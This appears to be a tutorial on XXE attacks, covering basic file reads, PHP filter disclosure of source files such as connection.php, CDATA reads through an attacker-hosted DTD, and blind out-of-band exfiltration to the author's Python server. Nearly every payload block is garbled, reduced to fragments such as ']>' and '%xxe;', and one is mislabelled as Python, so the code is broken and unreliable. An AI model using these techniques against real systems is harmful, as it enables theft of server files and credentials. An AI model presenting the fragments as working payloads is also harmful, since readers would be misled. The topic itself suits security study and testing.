# XML External Entity (XXE)
## Basic XXE Payloads
```python
#Simple File read
]>
#php filters
]>
```
## Basic XXE Testing
In the below image i can see that my email is getting reflected back to me, so i will test for XXE in that parameter
now i will test for Basic XXE
```xml
]>
test1122112211&test;sadadasdasdasd
```
## XXE PHP Filters to Read Source Code
We can now try to read the source code using php filters, i will try to read **connection.php** file
```
]>
```
## Advanced File Disclosure (XXE CDATA)
if the web app is not build in php then php filters cannot help us, for this we can use CDATA and read any sort of file including binary data as well.
**This will not work,** because we cannot join internal and external entities in XML like this, so we need to find out another way
so i will host an DTD on my Python server
now this will get the DTD from my python server.
```xml
">
%xxe;
]>
```
now I can read the files as well.
## Blind XXE (Out of Band Data Exfiltration)
Sometimes you don't get a response from the website so you need to redirect the response to your own python server
```python
">
```
```xml
%remote;
%oob;
]>
&content;
```
We need to host the xxe.dtd on our python server
